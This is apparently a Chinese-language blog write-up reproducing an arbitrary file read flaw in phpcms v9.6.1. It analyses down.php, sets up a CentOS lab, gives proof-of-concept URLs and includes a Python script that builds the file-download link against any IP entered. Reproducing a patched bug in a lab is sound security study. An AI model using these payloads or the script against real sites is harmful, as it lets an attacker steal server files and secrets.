phpcms v9.6.1任意文件读取漏洞复现

看着网上的大佬们的分析过程复现了一下phpcms
v9.6.1的任意文件读取,头次用centos搭建网站遇到了不少坑,记录一下此次复现

准备工作

使用操作系统

靶机系统:Centos7.3
攻击系统:windows 7

知识铺垫

1.php原生parse_str方法,会自动进行一次urldecode,第二个参数为空,则执行类似extract操作。
2.原生empty方法,对字符串”“返回true。
3.phpcms中sys_auth是对称加密且在不知道auth_key的情况下理论上不可能构造出有效密文。

漏洞分析

按照网上教程分析了PHPCMS v9.6.0和v9.6.1,发现phpcms/modules/content/down.php有如下修改
代码对比网址
这里主要修改了init()和download() 1.通过GET获取到$a_k参数内容,然后$a_k参数内容能够进入到sys_auth函数进行解密。
2.Parse str函数会自动对传入的值将其根据&分割,然后解析到具体变量并注册变量,并且对内容进行URL解码操作。(比如我们传入‘id=123%27%20and%201=1%23’,经过parse_str函数后变成了id=123’ and 1=1#。)
3.$f变量不能为空,这里正好通过parse_str处理后注册了$f,说明$f变量的内容是我们可控的。
1.这里判断你的$f是不是有非法后缀,或者使用’:\’,’..’,只要匹配到其中一种都是违法的。
2.然后判断是不是外链文件’http://’或’ftp://’或未使用’://’,系统生成一个$pc_auth_key,以这个$pc_auth_key为auth_key加密一个拼接了各种参数的url,上面的$f也在里面,然后生成一个$downurl,也就是下载文件的链接。
1.这里讲GET获取的$a_k变量内容进行解密,解密时使用$pc_auth_key为auth_key,跟上面在init函数里面加密使用的同一个auth_key,这里加密解密就对应起来了。
2.变量$a_k通过一次safe_replace函数处理,再次通过parse_str函数处理。
1.继续对$f变量进行后缀和特殊字符的判断。
2.将$s和$f拼接起来,在来判断fileurl的后缀。(如果fileurl是远程文件就直接跳转了,如果不是就放到else里面处理)
3.获取文件后缀,然后加上一个日期为文件名,最后将fileurl中的’<’和’>’替换为空。
4.将fileurl既为文件名传入到file_down函数进行下载。

打开phpcms/libs/functions/global.func.php 这里没有做任何处理
所以一路走下来,我们可控的参数进入到了fileurl既文件路径和filename既文件名里面。 如果我们输入一个ph,一个>p,然后相加就是ph>p,经过替换后就变成了php,而在这个过程中,正好有$s和$f拼接的过程:

$s=’test.ph’ + $f=’>p’ = $fileurl=’test.ph>p’,最后替换成了个 $fileurl=’test.php’

漏洞复现

靶机搭建

Centos搭建lamp(linux+apache+mysql+php)
常规安装

# yum -y install httpd php mysql mysql-server php-mysql

由于长期使用Ubuntu的原因,在这里遇到了3个大坑,这里我列一下解决方案

1)linux 下安装phpcms文件权限不可写
将/var/www/html/phpcms目录所属用户和组修改为apache

# chown -R apache:apache phpcms/
# find phpcms/* -type f -exec chmod 644 {} \;
# find phpcms/* -type d -exec chmod 755 {} \;

这种方法发现并不能解决
查阅资料后发现是防火墙的问题
setenforce是Linux的selinux防火墙配置命令 执行setenforce 0 表示关闭selinux防火墙。

# getenforce
Enforcing(强制模式)
# setenforce 0
Permissive

这时候再看phpcms权限变为可写
注:SELinux 宽容模式(Permissive)强制模式(Enforcing)

2)Centos 下yum install mysql-server没有可用包
Centos下默认好像是MariaDB数据库,自带源无法安装mysql-server

# wget http://repo.mysql.com/mysql-community-release-el7-5.noarch.rpm
# rpm -ivh mysql-community-release-el7-5.noarch.rpm
# ls -1 /etc/yum.repos.d/mysql-community*
	/etc/yum.repos.d/mysql-community.repo 
 	/etc/yum.repos.d/mysql-community-source.repo
# yum install mysql-server

3)安装完Mysql后登录报错ERROR 1045 (28000) mysql 用户没有操作/var/run目录的权限,所以pid文件无法创建,导致登陆时无法建立 进程信息文件,登陆进程就无法开启,自然无法登陆。
第一步:
修改 /etc/my.conf

#pid-file=/var/run/mysqld/mysqld.pid(注释这条)
pid-file=/var/lib/mysqld/mysqld.pid(新增内容)

mysql用户无法cd /var/run/。修改为mysql可以有权限的目录后再执行mysql就进入数据库了。
第二步:

/etc/init.d/mysql stop (service mysqld stop)
/usr/bin/mysqld_safe –skip-grant-tables

连接mysql

mysql> use mysql;
mysql> update user set password=password("123456") where user="root";
mysql> flush privileges;
mysql> exit

然后

# ps –a | grep mysql
25225 ?        00:00:00 mysqld_safe
25373 ?        00:00:01 mysqld
# kill -9 25225 25373
# /etc/init.d/mysql start(service mysqld start)

漏洞利用

这个漏洞利用总共有两种方法,不过实际区别是用户是否登录

方案一(前台注册并登录): 访问如下url:

http://127.0.0.1/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3Dphpcms%2fmodules%2fcontent%2fdown.ph%26f=p%3%252%2*77C

这段poc是用来下载phpcms/modules/content/down.php文件的 此时捕获到的att_json就是a_k参数的值

http://127.0.0.1/index.php?m=content&c=down&a=init&a_k=

获取到下载按钮 点击下载 下载到的文件正是down.php

同理可以任意下载其它文件

方案二(用户未登录):

http://127.0.0.1/index.php?m=wap&c=index&a=init&siteid=1

获取当前的siteid

http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*77C

并POST userid_flash,值为获取到的siteid

userid_flash= 9024Wq6sW-RX5X41P0sSfZdBK5C2gM5vQyQ_9ytr

拿到att_json,然后按照方案一构造a_k即可

复现脚本

用python自己写了个小脚本,路过的大牛有兴趣的可以看下

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import urllib
import urllib2
import re
import cookielib

def checkip(ip):
    p = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')  
    if p.match(ip):  
        return True  
    else:  
        return False 

def cookies(url):
    cookie = cookielib.CookieJar()
    handler=urllib2.HTTPCookieProcessor(cookie)
    opener = urllib2.build_opener(handler)
    response = opener.open(url)
    return cookie


ip = raw_input("please input the phpcms ip:")
if (checkip(ip)):
    url_1 = "http://" + ip + "/phpcms/index.php?m=wap&c=index&a=init&siteid=1"
    print u"请稍等...正在获取KEtUI_siteid:"
    cookie_1 = cookies(url_1)
    for i in cookie_1:
        if "siteid" in i.name:
            userid_flash = i.value
            print "userid_flash = " + userid_flash
            break
    else:
        print u"userid_flash 获取失败"
    url_2 = "http://" + ip + "/phpcms/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3Dindex%26f%3D.p%25253chp"
    print u"请稍等...正在获取a_k"
    postdata = dict(userid_flash=userid_flash)
    postdata = urllib.urlencode(postdata)
    request = urllib2.Request(url_2,postdata)
    cookie_2 = cookies(request)
    for j in cookie_2:
        if "att_json" in j.name:
            a_k = j.value
            print a_k
            print "a_k = " + a_k
            break
    else:
        print u"a_k获取失败"
    url_3 = "http://" + ip + "/phpcms/index.php?m=content&c=down&a=init&a_k=" + a_k
    print url_3
else:
    print "Try again!"

github地址

复现心得

之前一直使用ubuntu,用Centos搭建网站特别不顺畅,权限低到离谱,从kali的root到ubuntu的sudo权限,再到centos一开始真心不适应。搭建网站中遇到了很多坑,不过所幸都一一解决了。
对phpcms分析让我对代码审计方面也得到了长进,从网上了解到了一些web漏洞挖掘的心得,和构造payload的过程,感觉收获还是很大的。

参考网址: 【漏洞分析】PHPCMS V9.6.1 任意文件读取漏洞分析(含PoC,已有补丁)
phpcms v9.6.1任意文件下载漏洞分析及EXP
PHPCMSv9.6.1任意文件读取漏洞的挖掘和分析过程